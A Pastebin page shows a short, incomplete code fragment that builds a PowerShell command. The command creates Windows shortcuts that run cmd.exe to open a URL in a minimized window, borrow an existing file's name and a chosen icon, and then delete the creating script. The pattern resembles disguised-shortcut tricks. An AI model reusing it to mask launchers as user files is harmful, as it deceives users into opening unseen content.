Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- "$ComObj = New-Object -ComObject WScript.Shell; " +
- "$ShortCut = $ComObj.CreateShortcut("$Env:${shortcut.absolutePath}"); " +
- "$ShortCut.TargetPath = "%windir%\system32\cmd.exe"; " +
- "$ShortCut.Description = "${f.nameWithoutExtension}"; " +
- "$ShortCut.Arguments = "/c ""start $url"""; " +
- "$ShortCut.FullName; $ShortCut.WindowStyle = 7; " +
- "$ShortCut.IconLocation = "$iconpath"; " +
- "$ShortCut.Save(); " +
- "Remove-Item "${createPs.absolutePath}"; "
Add Comment
Please, Sign In to add comment